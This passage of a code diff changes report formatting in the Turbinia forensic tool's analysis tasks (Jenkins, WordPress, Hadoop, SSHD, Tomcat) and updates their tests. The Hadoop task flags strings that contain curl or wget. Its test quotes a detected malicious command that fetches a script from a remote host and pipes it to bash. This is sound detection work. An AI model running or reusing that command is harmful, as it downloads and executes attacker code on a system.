-      findings.insert(0, 'Jenkins analysis found potential issues.\n')
-      findings.append(
-          '{0:n} weak password(s) found:'.format(len(weak_passwords)))
+      priority = 10
+      summary = 'Jenkins analysis found potential issues'
+      report.insert(0, fmt.heading4(fmt.bold(summary)))
+      line = '{0:n} weak password(s) found:'.format(len(weak_passwords))
+      report.append(fmt.bullet(fmt.bold(line)))
       for password_hash, plaintext in weak_passwords:
-        findings.append(
-            ' - User "{0:s}" with password "{1:s}"'.format(
-                credentials_registry.get(password_hash), plaintext))
+        line = 'User "{0:s}" with password "{1:s}"'.format(
+            credentials_registry.get(password_hash), plaintext)
+        report.append(fmt.bullet(line, level=2))
+    else:
+      summary = 'Jenkins analysis found no issues'
+      priority = 80
+      report.insert(0, fmt.heading4(summary))
 
-    return '\n'.join(findings)
+    report = '\n'.join(report)
+    return (report, priority, summary)
diff --git a/turbinia/workers/analysis/wordpress.py b/turbinia/workers/analysis/wordpress.py
index 73e29a7..74c723e 100644
--- a/turbinia/workers/analysis/wordpress.py
+++ b/turbinia/workers/analysis/wordpress.py
@@ -21,6 +21,7 @@ import os
 import re
 
 from turbinia.evidence import ReportText
+from turbinia.lib import text_formatter as fmt
 from turbinia.workers import TurbiniaTask
 
 
@@ -63,8 +64,11 @@ class WordpressAccessLogAnalysisTask(TurbiniaTask):
     with open_function(evidence.local_path, 'rb') as input_file:
       access_logs_content = input_file.read().decode('utf-8')
 
-    analysis = self.analyze_wp_access_logs(access_logs_content)
-    output_evidence.text_data = analysis
+    (report, priority,
+     summary) = self.analyze_wp_access_logs(access_logs_content)
+    output_evidence.text_data = report
+    result.report_data = report
+    result.report_priority = priority
 
     # Write the report to the output file.
     with open(output_file_path, 'w') as fh:
@@ -72,8 +76,7 @@ class WordpressAccessLogAnalysisTask(TurbiniaTask):
 
     # Add the resulting evidence to the result object.
     result.add_evidence(output_evidence, evidence.config)
-    status = analysis.split('\n')[0]
-    result.close(self, success=True, status=status)
+    result.close(self, success=True, status=summary)
     return result
 
   def _get_timestamp(self, log_line):
@@ -90,30 +93,37 @@ class WordpressAccessLogAnalysisTask(TurbiniaTask):
       config (str): access log file content.
 
     Returns:
-      str: Activity summary of the wordpress installation.
+      Tuple(
+        report_text(str): The report data
+        report_priority(int): The priority of the report (0 - 100)
+        summary(str): A summary of the report (used for task status)
+      )
     """
-    findings = []
+    report = []
     findings_summary = set()
 
     for log_line in config.split('\n'):
 
       if self.install_step_regex.search(log_line):
-        findings.append(
-            '\t{0:s}: Wordpress installation successful'.format(
-                self._get_timestamp(log_line)))
+        line = '{0:s}: Wordpress installation successful'.format(
+            self._get_timestamp(log_line))
+        report.append(fmt.bullet(line))
         findings_summary.add('install')
 
       match = self.theme_editor_regex.search(log_line)
       if match:
-        findings.append(
-            '\t{0:s}: Wordpress theme editor edited file ({1:s})\n'.format(
-                self._get_timestamp(log_line), match.group('edited_file')))
+        line = '{0:s}: Wordpress theme editor edited file ({1:s})'.format(
+            self._get_timestamp(log_line), match.group('edited_file'))
+        report.append(fmt.bullet(line))
         findings_summary.add('theme_edit')
 
-    if findings:
-      findings.insert(
-          0, 'Wordpress access logs found ({0:s})'.format(
-              ', '.join(sorted(list(findings_summary)))))
-      return '\n'.join(findings)
+    if report:
+      findings_summary = ', '.join(sorted(list(findings_summary)))
+      summary = 'Wordpress access logs found ({0:s})'.format(findings_summary)
 
-    return 'No Wordpress install or theme editing found in access logs'
+      report.insert(0, fmt.heading4(fmt.bold(summary)))
+      report_text = '\n'.join(report)
+      return (report_text, 20, summary)
+
+    report_text = 'No Wordpress install or theme editing found in access logs'
+    return (fmt.heading4(report_text), 80, report_text)
diff --git a/turbinia/workers/hadoop.py b/turbinia/workers/hadoop.py
index b77f57f..95cecf8 100644
--- a/turbinia/workers/hadoop.py
+++ b/turbinia/workers/hadoop.py
@@ -23,6 +23,7 @@ import subprocess
 
 from turbinia import TurbiniaException
 
+from turbinia.lib import text_formatter as fmt
 from turbinia.evidence import ReportText
 from turbinia.lib.utils import extract_artifacts
 from turbinia.workers import TurbiniaTask
@@ -33,7 +34,7 @@ log = logging.getLogger('turbinia')
 class HadoopAnalysisTask(TurbiniaTask):
   """Task to analyse Hadoop AppRoot files."""
 
-  def _AnalyzeHadoopAppRoot(self, collected_artifacts):
+  def _AnalyzeHadoopAppRoot(self, collected_artifacts, output_dir):
     """Runs a naive AppRoot files parsing method.
 
     This extracts strings from the saved task file, and searches for usual
@@ -44,38 +45,54 @@ class HadoopAnalysisTask(TurbiniaTask):
 
     Args:
       collected_artifacts(list(str)): a list of paths to extracted files
+      output_dir(str): The base directory the artfacts are in.
+
     Returns:
-      list(str): the result report, as a list of lines.
+      Tuple(
+        list(str): The report data as a list of lines
+        report_priority(int): The priority of the report (0 - 100)
+        summary(str): A summary of the report (used for task status)
+      )
     """
     report = []
-    strings_report = []
     evil_commands = []
+    strings_count = 0
+    priority = 50
+    summary = ''
     for filepath in collected_artifacts:
-      strings_report.append('Strings for {0:s}:'.format(filepath))
+      relpath = os.path.relpath(filepath, output_dir)
       command = 'strings -a "{0:s}"'.format(filepath)
       log.debug('Running command [{0:s}]'.format(command))
       proc = subprocess.Popen(
           command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
       strings_output, _ = proc.communicate()
       strings_output = codecs.decode(strings_output, 'utf-8')
-      strings_report.append(strings_output)
       for line in strings_output.splitlines():
+        strings_count += 1
         if (line.find('curl') >= 0) or (line.find('wget') >= 0):
-          evil_commands.append((filepath, line))
+          evil_commands.append((relpath, line))
 
     if evil_commands:
-      report.append('Found suspicious commands!')
+      msg = 'Found suspicious commands!'
+      report.append(fmt.heading4(fmt.bold(msg)))
+      summary = msg
+      priority = 10
     else:
-      report.append('Did not find any suspicious commands.')
+      msg = 'Did not find any suspicious commands.'
+      report.append(fmt.heading4(msg))
+      summary = msg
+
     for filepath, command in evil_commands:
-      report.append('File: {0:s}'.format(filepath))
-      report.append('Command: "{0:s}"'.format(command))
+      report.append(fmt.bullet(fmt.bold('Command:')))
+      report.append(fmt.code(command))
+      report.append('Found in file:')
+      report.append(fmt.code(filepath))
 
-    report.append('')
-    report.append('All strings from Yarn Tasks:')
-    report.extend(strings_report)
+    msg = 'Extracted {0:d} strings from {1:d} file(s)'.format(
+        strings_count, len(collected_artifacts))
+    report.append(fmt.bullet(msg))
 
-    return report
+    return (report, priority, summary)
 
   def run(self, evidence, result):
     """Run Hadoop specific analysis on the evidences.
@@ -100,23 +117,28 @@ class HadoopAnalysisTask(TurbiniaTask):
     try:
       # We don't use FileArtifactExtractionTask as it export one evidence per
       # file extracted
+      output_dir = os.path.join(self.output_dir, 'artifacts')
       collected_artifacts = extract_artifacts(
           artifact_names=['HadoopAppRoot'], disk_path=evidence.local_path,
-          output_dir=os.path.join(self.output_dir, 'artifacts'))
+          output_dir=output_dir)
 
-      text_report_lines = self._AnalyzeHadoopAppRoot(collected_artifacts)
-      if not text_report_lines:
+      (report, priority, summary) = self._AnalyzeHadoopAppRoot(
+          collected_artifacts, output_dir)
+      if not report:
         raise TurbiniaException(
             'Report generated by _AnalyzeHadoopAppRoot() is empty')
 
-      output_evidence.text_data = '\n'.join(text_report_lines)
+      output_evidence.text_data = '\n'.join(report)
+      result.report_data = output_evidence.text_data
+
       # Write the report to the output file.
       with open(output_file_path, 'w') as fh:
         fh.write(output_evidence.text_data.encode('utf8'))
         fh.write('\n'.encode('utf8'))
 
       result.add_evidence(output_evidence, evidence.config)
-      result.close(self, success=True, status=text_report_lines[0])
+      result.report_priority = priority
+      result.close(self, success=True, status=summary)
     except TurbiniaException as e:
       result.close(self, success=False, status=str(e))
       return result
diff --git a/turbinia/workers/sshd.py b/turbinia/workers/sshd.py
index 53ed491..3317adc 100644
--- a/turbinia/workers/sshd.py
+++ b/turbinia/workers/sshd.py
@@ -20,6 +20,7 @@ import os
 import re
 
 from turbinia.evidence import ReportText
+from turbinia.lib import text_formatter as fmt
 from turbinia.workers import TurbiniaTask
 
 
@@ -49,8 +50,10 @@ class SSHDAnalysisTask(TurbiniaTask):
     with open(evidence.local_path, 'r') as input_file:
       sshd_config = input_file.read()
 
-    analysis = self.analyse_sshd_config(sshd_config)
-    output_evidence.text_data = analysis
+    (report, priority, summary) = self.analyse_sshd_config(sshd_config)
+    output_evidence.text_data = report
+    result.report_priority = priority
+    result.report_data = report
 
     # Write the report to the output file.
     with open(output_file_path, 'w') as fh:
@@ -58,7 +61,7 @@ class SSHDAnalysisTask(TurbiniaTask):
 
     # Add the resulting evidence to the result object.
     result.add_evidence(output_evidence, evidence.config)
-    result.close(self, success=True)
+    result.close(self, success=True, status=summary)
     return result
 
   def analyse_sshd_config(self, config):
@@ -68,7 +71,11 @@ class SSHDAnalysisTask(TurbiniaTask):
       config (str): configuration file content.
 
     Returns:
-      str: description of security of SSHD configuration file.
+      Tuple(
+        report_text(str): The report data
+        report_priority(int): The priority of the report (0 - 100)
+        summary(str): A summary of the report (used for task status)
+      )
     """
     findings = []
     permit_root_login_re = re.compile(
@@ -80,16 +87,19 @@ class SSHDAnalysisTask(TurbiniaTask):
         r'^\s*PermitEmptyPasswords[\s"]*Yes', re.IGNORECASE | re.MULTILINE)
 
     if re.search(permit_root_login_re, config):
-      findings.append('\tRoot login enabled.')
+      findings.append(fmt.bullet('Root login enabled.'))
 
     if not re.search(password_authentication_re, config):
-      findings.append('\tPassword authentication enabled.')
+      findings.append(fmt.bullet('Password authentication enabled.'))
 
     if re.search(permit_empty_passwords_re, config):
-      findings.append('\tEmpty passwords permitted.')
+      findings.append(fmt.bullet('Empty passwords permitted.'))
 
     if findings:
-      findings.insert(0, 'Insecure SSH configuration found.')
-      return '\n'.join(findings)
+      summary = 'Insecure SSH configuration found.'
+      findings.insert(0, fmt.heading4(fmt.bold(summary)))
+      report = '\n'.join(findings)
+      return (report, 20, summary)
 
-    return 'No issues found in SSH configuration'
+    report = 'No issues found in SSH configuration'
+    return (report, 60, report)
diff --git a/turbinia/workers/tomcat.py b/turbinia/workers/tomcat.py
index c8d3207..2daeb9e 100644
--- a/turbinia/workers/tomcat.py
+++ b/turbinia/workers/tomcat.py
@@ -20,6 +20,7 @@ import os
 import re
 
 from turbinia.evidence import ReportText
+from turbinia.lib import text_formatter as fmt
 from turbinia.workers import TurbiniaTask
 
 
@@ -47,8 +48,10 @@ class TomcatAnalysisTask(TurbiniaTask):
     with open(evidence.local_path, 'r') as input_file:
       tomcat_file = input_file.read()
 
-    analysis = self.analyse_tomcat_file(tomcat_file)
-    output_evidence.text_data = analysis
+    (report, priority, summary) = self.analyse_tomcat_file(tomcat_file)
+    result.report_priority = priority
+    result.report_data = report
+    output_evidence.text_data = report
 
     # Write the report to the output file.
     with open(output_file_path, 'w') as fh:
@@ -56,8 +59,7 @@ class TomcatAnalysisTask(TurbiniaTask):
 
     # Add the resulting evidence to the result object.
     result.add_evidence(output_evidence, evidence.config)
-    result.close(
-        self, success=True, status=output_evidence.text_data.splitlines()[0])
+    result.close(self, success=True, status=summary)
     return result
 
   def analyse_tomcat_file(self, tomcat_file):
@@ -70,7 +72,11 @@ class TomcatAnalysisTask(TurbiniaTask):
     Args:
       tomcat_file (str): Tomcat file content.
     Returns:
-      str: description of findings of Tomcat file.
+      Tuple(
+        report_text(str): The report data
+        report_priority(int): The priority of the report (0 - 100)
+        summary(str): A summary of the report (used for task status)
+      )
     """
     findings = []
 
@@ -82,19 +88,23 @@ class TomcatAnalysisTask(TurbiniaTask):
 
     count = 0
     for password_entry in re.findall(tomcat_user_passwords_re, tomcat_file):
-      findings.append('Tomcat user: ' + password_entry.strip())
+      findings.append(fmt.bullet('Tomcat user: ' + password_entry.strip()))
       count += 1
 
     for deployment_entry in re.findall(tomcat_deploy_re, tomcat_file):
-      findings.append('Tomcat App Deployed: ' + deployment_entry.strip())
+      findings.append(
+          fmt.bullet('Tomcat App Deployed: ' + deployment_entry.strip()))
       count += 1
 
     for mgmt_entry in re.findall(tomcat_manager_activity_re, tomcat_file):
-      findings.append('Tomcat Management: ' + mgmt_entry.strip())
+      findings.append(fmt.bullet('Tomcat Management: ' + mgmt_entry.strip()))
       count += 1
 
     if findings:
-      findings.insert(0, 'Tomcat found ({0:d} hits):'.format(count))
-      return '\n'.join(findings)
+      msg = 'Tomcat analysis found {0:d} results'.format(count)
+      findings.insert(0, fmt.heading4(fmt.bold(msg)))
+      report = '\n'.join(findings)
+      return (report, 20, msg)
 
-    return 'No Tomcat found.'
+    report = 'No Tomcat findings to report'
+    return (report, 80, report)


Test patch:
diff --git a/turbinia/client_test.py b/turbinia/client_test.py
index 0f508a8..d57cb34 100644
--- a/turbinia/client_test.py
+++ b/turbinia/client_test.py
@@ -16,10 +16,12 @@
 
 from __future__ import unicode_literals
 
+from datetime import datetime
 import unittest
 import os
 import shutil
 import tempfile
+import textwrap
 
 import mock
 
@@ -29,10 +31,134 @@ from turbinia.client import TurbiniaServer
 from turbinia.client import TurbiniaPsqWorker
 from turbinia import TurbiniaException
 
+SHORT_REPORT = textwrap.dedent(
+    """\
+    # Turbinia report 0xFakeRequestId
+    * Processed 3 Tasks for user myuser
+
+    # High Priority Tasks
+    * TaskName2: This second fake task executed
+
+    # Successful Tasks
+    * TaskName: This fake task executed
+
+    # Failed Tasks
+    * TaskName3: Third Task Failed...
+
+    # Scheduled or Running Tasks
+    * None
+""")
+
+LONG_REPORT = textwrap.dedent(
+    """\
+    # Turbinia report 0xFakeRequestId
+    * Processed 3 Tasks for user myuser
+
+    # High Priority Tasks
+    ## TaskName2
+    * **Status:** This second fake task executed
+    * Task Id: 0xfakeTaskId2
+    * Executed on worker fake_worker
+
+    ### Task Reported Data
+    #### Fake High priority Report
+    * Fake Bullet
+
+    # Successful Tasks
+    * TaskName: This fake task executed
+
+    # Failed Tasks
+    * TaskName3: Third Task Failed...
+
+    # Scheduled or Running Tasks
+    * None
+""")
+
+LONG_REPORT_FILES = textwrap.dedent(
+    """\
+    # Turbinia report 0xFakeRequestId
+    * Processed 3 Tasks for user myuser
+
+    # High Priority Tasks
+    ## TaskName2
+    * **Status:** This second fake task executed
+    * Task Id: 0xfakeTaskId2
+    * Executed on worker fake_worker
+
+    ### Task Reported Data
+    #### Fake High priority Report
+    * Fake Bullet
+
+    ### Saved Task Files:
+    * `/no/path/2`
+    * `/fake/path/2`
+
+
+    # Successful Tasks
+    * TaskName: This fake task executed
+        * `/no/path/`
+        * `/fake/path`
+
+
+    # Failed Tasks
+    * TaskName3: Third Task Failed...
+        * `/no/path/3`
+        * `/fake/path/3`
+
+
+    # Scheduled or Running Tasks
+    * None
+""")
+
 
 class TestTurbiniaClient(unittest.TestCase):
   """Test Turbinia client class."""
 
+  def setUp(self):
+    self.task_data = [
+        {
+            'id': '0xfakeTaskId',
+            'instance': 'MyTurbiniaInstance',
+            'last_update': datetime.now(),
+            'name': 'TaskName',
+            'report_data': '#### Fake Low priority Report\n* Fake Bullet',
+            'report_priority': 80,
+            'request_id': '0xFakeRequestId',
+            'saved_paths': ['/no/path/', '/fake/path'],
+            'status': 'This fake task executed',
+            'successful': True,
+            'user': 'myuser',
+            'worker_name': 'fake_worker'
+        }, {
+            'id': '0xfakeTaskId2',
+            'instance': 'MyTurbiniaInstance',
+            'last_update': datetime.now(),
+            'name': 'TaskName2',
+            'report_data': '#### Fake High priority Report\n* Fake Bullet',
+            'report_priority': 10,
+            'request_id': '0xFakeRequestId',
+            'saved_paths': ['/no/path/2', '/fake/path/2'],
+            'status': 'This second fake task executed',
+            'successful': True,
+            'user': 'myuser',
+            'worker_name': 'fake_worker'
+        }, {
+            'id': '0xfakeTaskId3',
+            'instance': 'MyTurbiniaInstance',
+            'last_update': datetime.now(),
+            'name': 'TaskName3',
+            'report_data': '',
+            'report_priority': 80,
+            'request_id': '0xFakeRequestId',
+            'saved_paths': ['/no/path/3', '/fake/path/3'],
+            'status': 'Third Task Failed...',
+            'successful': False,
+            'user': 'myuser',
+            'worker_name': 'fake_worker'
+        }
+    ] # yapf: disable
+
+
   @mock.patch('turbinia.client.task_manager.PSQTaskManager._backend_setup')
   @mock.patch('turbinia.state_manager.get_state_manager')
   def testTurbiniaClientInit(self, _, __):
@@ -74,6 +200,40 @@ class TestTurbiniaClient(unittest.TestCase):
     self.assertRaises(
         TurbiniaException, client.get_task_data, "inst", "proj", "reg")
 
+  @mock.patch('turbinia.client.GoogleCloudFunction.ExecuteFunction')
+  @mock.patch('turbinia.client.task_manager.PSQTaskManager._backend_setup')
+  @mock.patch('turbinia.state_manager.get_state_manager')
+  def testClientFormatTaskStatus(self, _, __, ___):
+    """Tests format_task_status() has valid output."""
+    client = TurbiniaClient()
+    client.get_task_data = mock.MagicMock()
+    client.get_task_data.return_value = self.task_data
+    result = client.format_task_status('inst', 'proj', 'reg')
+    self.assertEqual(result.strip(), SHORT_REPORT.strip())
+
+  @mock.patch('turbinia.client.GoogleCloudFunction.ExecuteFunction')
+  @mock.patch('turbinia.client.task_manager.PSQTaskManager._backend_setup')
+  @mock.patch('turbinia.state_manager.get_state_manager')
+  def testClientFormatTaskStatusFullReport(self, _, __, ___):
+    """Tests format_task_status() has valid output with full report."""
+    client = TurbiniaClient()
+    client.get_task_data = mock.MagicMock()
+    client.get_task_data.return_value = self.task_data
+    result = client.format_task_status('inst', 'proj', 'reg', full_report=True)
+    self.assertEqual(result.strip(), LONG_REPORT.strip())
+
+  @mock.patch('turbinia.client.GoogleCloudFunction.ExecuteFunction')
+  @mock.patch('turbinia.client.task_manager.PSQTaskManager._backend_setup')
+  @mock.patch('turbinia.state_manager.get_state_manager')
+  def testClientFormatTaskStatusFiles(self, _, __, ___):
+    """Tests format_task_status() has valid output with report and files."""
+    client = TurbiniaClient()
+    client.get_task_data = mock.MagicMock()
+    client.get_task_data.return_value = self.task_data
+    result = client.format_task_status(
+        'inst', 'proj', 'reg', all_fields=True, full_report=True)
+    self.assertEqual(result.strip(), LONG_REPORT_FILES.strip())
+
 
 class TestTurbiniaServer(unittest.TestCase):
   """Test Turbinia Server class."""
diff --git a/turbinia/lib/text_formatter_test.py b/turbinia/lib/text_formatter_test.py
new file mode 100644
index 0000000..7bfcb83
--- /dev/null
+++ b/turbinia/lib/text_formatter_test.py
@@ -0,0 +1,40 @@
+# -*- coding: utf-8 -*-
+# Copyright 2019 Google Inc.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+"""Tests for text_formatter."""
+
+from __future__ import unicode_literals
+
+import unittest
+
+from turbinia.lib import text_formatter as fmt
+
+
+class TextFormatterTest(unittest.TestCase):
+  """Tests for text_formatter methods."""
+
+  def setUp(self):
+    self.test_string = 'testing'
+
+  def testFormatting(self):
+    """Test text formatting."""
+    self.assertEqual('**testing**', fmt.bold(self.test_string))
+    self.assertEqual('# testing', fmt.heading1(self.test_string))
+    self.assertEqual('## testing', fmt.heading2(self.test_string))
+    self.assertEqual('### testing', fmt.heading3(self.test_string))
+    self.assertEqual('#### testing', fmt.heading4(self.test_string))
+    self.assertEqual('##### testing', fmt.heading5(self.test_string))
+    self.assertEqual('* testing', fmt.bullet(self.test_string))
+    self.assertEqual('        * testing', fmt.bullet(self.test_string, level=3))
+    self.assertEqual('`testing`', fmt.code(self.test_string))
diff --git a/turbinia/workers/analysis/jenkins_test.py b/turbinia/workers/analysis/jenkins_test.py
index 23589c7..53850d9 100644
--- a/turbinia/workers/analysis/jenkins_test.py
+++ b/turbinia/workers/analysis/jenkins_test.py
@@ -17,6 +17,7 @@
 from __future__ import unicode_literals
 
 import unittest
+import mock
 
 from turbinia import config
 from turbinia.workers.analysis import jenkins
@@ -104,6 +105,15 @@ class JenkinsAnalysisTaskTest(unittest.TestCase):
   </user>
   """
 
+  JENKINS_ANALYSIS_REPORT = """#### **Jenkins analysis found potential issues**
+* Jenkins version: 2.121.2
+* **1 weak password(s) found:**
+    * User \"admin\" with password \"weakpassword\"
+"""
+
+  JENKINS_ANALYSIS_EMPTY_REPORT = """#### Jenkins analysis found no issues
+* Jenkins version: 2.121.2"""
+
   EXPECTED_VERSION = '2.121.2'
   EXPECTED_CREDENTIALS = [('admin', '$2a$10$DSltvO4YXZuoLuUU77R871627TEST')]
 
@@ -128,6 +138,37 @@ class JenkinsAnalysisTaskTest(unittest.TestCase):
 
     self.assertEqual(credentials, self.EXPECTED_CREDENTIALS)
 
+  @mock.patch('turbinia.workers.analysis.jenkins.bruteforce_password_hashes')
+  def test_analyze_jenkins(self, bruteforce_mock):
+    """Test that analyze_jenkins returns valid output with findings."""
+    config.LoadConfig()
+    task = jenkins.JenkinsAnalysisTask()
+
+    bruteforce_mock.return_value = [
+        ('$2a$10$DSltvO4YXZuoLuUU77R871627TEST', 'weakpassword')
+    ]
+    (report, priority, summary) = task.analyze_jenkins(
+        self.EXPECTED_VERSION, self.EXPECTED_CREDENTIALS)
+
+    report = report + '\n'
+    self.assertEqual(report, self.JENKINS_ANALYSIS_REPORT)
+    self.assertEqual(priority, 10)
+    self.assertEqual(summary, 'Jenkins analysis found potential issues')
+
+  @mock.patch('turbinia.workers.analysis.jenkins.bruteforce_password_hashes')
+  def test_analyze_jenkins_no_findings(self, bruteforce_mock):
+    """Test that analyze_jenkins returns valid output with no findings."""
+    config.LoadConfig()
+    task = jenkins.JenkinsAnalysisTask()
+
+    bruteforce_mock.return_value = []
+    (report, priority, summary) = task.analyze_jenkins(
+        self.EXPECTED_VERSION, self.EXPECTED_CREDENTIALS)
+
+    self.assertEqual(report, self.JENKINS_ANALYSIS_EMPTY_REPORT)
+    self.assertEqual(priority, 80)
+    self.assertEqual(summary, 'Jenkins analysis found no issues')
+
 
 if __name__ == '__main__':
   unittest.main()
diff --git a/turbinia/workers/analysis/wordpress_test.py b/turbinia/workers/analysis/wordpress_test.py
index 67ecb1e..1b72e9b 100644
--- a/turbinia/workers/analysis/wordpress_test.py
+++ b/turbinia/workers/analysis/wordpress_test.py
@@ -27,10 +27,10 @@ class WordpressAccessLogAnalysisTaskTest(unittest.TestCase):
   """Tests for WordpressAccessLogAnalysis Task."""
 
   WORDPRESS_ACCESS_LOGS = None
-  WORDPRESS_PWNED_REPORT = """Wordpress access logs found (install, theme_edit)
-\t27/Jun/2018:19:29:54 +0000: Wordpress installation successful
-\t27/Jun/2018:19:31:15 +0000: Wordpress theme editor edited file (header.php)
-"""  # pylint: disable=line-too-long
+  # pylint: disable=line-too-long
+  WORDPRESS_PWNED_REPORT = """#### **Wordpress access logs found (install, theme_edit)**
+* 27/Jun/2018:19:29:54 +0000: Wordpress installation successful
+* 27/Jun/2018:19:31:15 +0000: Wordpress theme editor edited file (header.php)"""
 
   def setUp(self):
     filedir = os.path.dirname(os.path.realpath(__file__))
@@ -44,8 +44,12 @@ class WordpressAccessLogAnalysisTaskTest(unittest.TestCase):
     config.LoadConfig()
     task = wordpress.WordpressAccessLogAnalysisTask()
 
-    report = task.analyze_wp_access_logs(self.WORDPRESS_ACCESS_LOGS)
+    (report, priority, summary) = task.analyze_wp_access_logs(
+        self.WORDPRESS_ACCESS_LOGS)
     self.assertEqual(report, self.WORDPRESS_PWNED_REPORT)
+    self.assertEqual(priority, 20)
+    self.assertEqual(
+        summary, 'Wordpress access logs found (install, theme_edit)')
 
 
 if __name__ == '__main__':
diff --git a/turbinia/workers/hadoop_test.py b/turbinia/workers/hadoop_test.py
index c38a01e..54247e7 100644
--- a/turbinia/workers/hadoop_test.py
+++ b/turbinia/workers/hadoop_test.py
@@ -17,6 +17,7 @@
 from __future__ import unicode_literals
 
 import os
+import textwrap
 import unittest
 
 from turbinia import config
@@ -26,28 +27,15 @@ from turbinia.workers import hadoop
 class HadoopAnalysisTest(unittest.TestCase):
   """Tests for HadoopAnalysisTask."""
 
-  _EXPECTED_REPORT = """Found suspicious commands!
-File: /../../test_data/bad_yarn_saved_task
-Command: "1533561022643*Bcurl https://evilsite2.org/aldnalezi/mygit/raw/master/ab.sh | bash0"
-
-All strings from Yarn Tasks:
-Strings for /../../test_data/bad_yarn_saved_task:
-hadoop
-default"
-EHDTS
-YARN_AM_RM_TOKEN
-APPLICATION_WEB_PROXY_BASE
-%/proxy/application_1526380001485_0125"
-MAX_APP_ATTEMPTS
-APP_SUBMIT_TIME_ENV
-1533561022643*Bcurl https://evilsite2.org/aldnalezi/mygit/raw/master/ab.sh | bash0
-YARNX
-dr.who 
-,(\x092
-Application application_1526380001485_0125 failed 2 times due to AM Container for appattempt_1526380001485_0125_000002 exited with  exitCode: 0
-Failing this attempt.Diagnostics: For more detailed output, check the application tracking page: http://apelcycluster-m:8088/cluster/app/application_1526380001485_0125 Then click on links to logs of each attempt.
-. Failing the application.8
-"""
+  # pylint: disable=line-too-long
+  _EXPECTED_REPORT = textwrap.dedent(
+      """\
+      #### **Found suspicious commands!**
+      * **Command:**
+      `1533561022643*Bcurl https://evilsite2.org/aldnalezi/mygit/raw/master/ab.sh | bash0`
+      Found in file:
+      `../../test_data/bad_yarn_saved_task`
+      * Extracted 15 strings from 1 file(s)""")
 
   def setUp(self):
     self.filedir = os.path.dirname(os.path.realpath(__file__))
@@ -60,5 +48,9 @@ Failing this attempt.Diagnostics: For more detailed output, check the applicatio
     task = hadoop.HadoopAnalysisTask()
     self.maxDiff = None
     # pylint: disable=protected-access
-    report = '\n'.join(task._AnalyzeHadoopAppRoot([self.test_file]))
-    self.assertEqual(report.replace(self.filedir, ''), self._EXPECTED_REPORT)
+    (report, priority, summary) = task._AnalyzeHadoopAppRoot([self.test_file],
+                                                             self.filedir)
+    report = '\n'.join(report)
+    self.assertEqual(priority, 10)
+    self.assertEqual(summary, 'Found suspicious commands!')
+    self.assertEqual(report, self._EXPECTED_REPORT)
diff --git a/turbinia/workers/sshd_test.py b/turbinia/workers/sshd_test.py
index 1948e5d..0655ae6 100644
--- a/turbinia/workers/sshd_test.py
+++ b/turbinia/workers/sshd_test.py
@@ -30,10 +30,12 @@ PasswordAuthentication yes
 PermitEmptyPasswords Yes
   """
 
-  SSH_INSECURE_EVERYTHING_REPORT = """Insecure SSH configuration found.
-\tRoot login enabled.
-\tPassword authentication enabled.
-\tEmpty passwords permitted."""
+  SSH_INSECURE_EVERYTHING_REPORT = """#### **Insecure SSH configuration found.**
+* Root login enabled.
+* Password authentication enabled.
+* Empty passwords permitted."""
+
+  SSH_INSECURE_EVERYTHING_SUMMARY = 'Insecure SSH configuration found.'
 
   SSH_SECURE_EVERYTHING = """PermitRootLogin No
 PasswordAuthentication no
@@ -46,10 +48,13 @@ PermitEmptyPasswords no"""
     config.LoadConfig()
     task = sshd.SSHDAnalysisTask()
 
-    report = task.analyse_sshd_config(self.SSH_INSECURE_EVERYTHING)
+    (report, priority, summary) = task.analyse_sshd_config(
+        self.SSH_INSECURE_EVERYTHING)
     self.assertEqual(report, self.SSH_INSECURE_EVERYTHING_REPORT)
+    self.assertEqual(priority, 20)
+    self.assertEqual(summary, self.SSH_INSECURE_EVERYTHING_SUMMARY)
 
-    report = task.analyse_sshd_config(self.SSH_SECURE_EVERYTHING)
+    report = task.analyse_sshd_config(self.SSH_SECURE_EVERYTHING)[0]
     self.assertEqual(report, self.SSH_SECURE_EVERYTHING_REPORT)
 
 
diff --git a/turbinia/workers/tomcat_test.py b/turbinia/workers/tomcat_test.py
index 764a5b5..b8da043 100644
--- a/turbinia/workers/tomcat_test.py
+++ b/turbinia/workers/tomcat_test.py
@@ -34,18 +34,20 @@ class TomcatAnalysisTaskTest(unittest.TestCase):
 </tomcat-users>"""
 
   # pylint: disable=line-too-long
-  TOMCAT_PASSWORD_FILE_REPORT = """Tomcat found (2 hits):
-Tomcat user: <user username="tomcat" password="tomcat" roles="tomcat"/>
-Tomcat user: <user username="both" password="tomcat" roles="tomcat,role1"/>"""
+  TOMCAT_PASSWORD_FILE_REPORT = """#### **Tomcat analysis found 2 results**
+* Tomcat user: <user username="tomcat" password="tomcat" roles="tomcat"/>
+* Tomcat user: <user username="both" password="tomcat" roles="tomcat,role1"/>"""
+
+  TOMCAT_PASSWORD_FILE_REPORT_SUMMARY = 'Tomcat analysis found 2 results'
 
   # pylint: disable=line-too-long
   TOMCAT_APP_DEPLOY_LOG = r"""21-Mar-2017 19:21:08.140 INFO [localhost-startStop-2] org.apache.catalina.startup.HostConfig.deployWAR Deploying web application archive C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\MyAwesomeApp.war
 10-Sep-2012 11:41:12.283 INFO [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployWAR Deploying web application archive /opt/apache-tomcat-8.0.32/webapps/badboy.war"""
 
   # pylint: disable=line-too-long
-  TOMCAT_APP_DEPLOY_LOG_REPORT = r"""Tomcat found (2 hits):
-Tomcat App Deployed: 21-Mar-2017 19:21:08.140 INFO [localhost-startStop-2] org.apache.catalina.startup.HostConfig.deployWAR Deploying web application archive C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\MyAwesomeApp.war
-Tomcat App Deployed: 10-Sep-2012 11:41:12.283 INFO [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployWAR Deploying web application archive /opt/apache-tomcat-8.0.32/webapps/badboy.war"""
+  TOMCAT_APP_DEPLOY_LOG_REPORT = r"""#### **Tomcat analysis found 2 results**
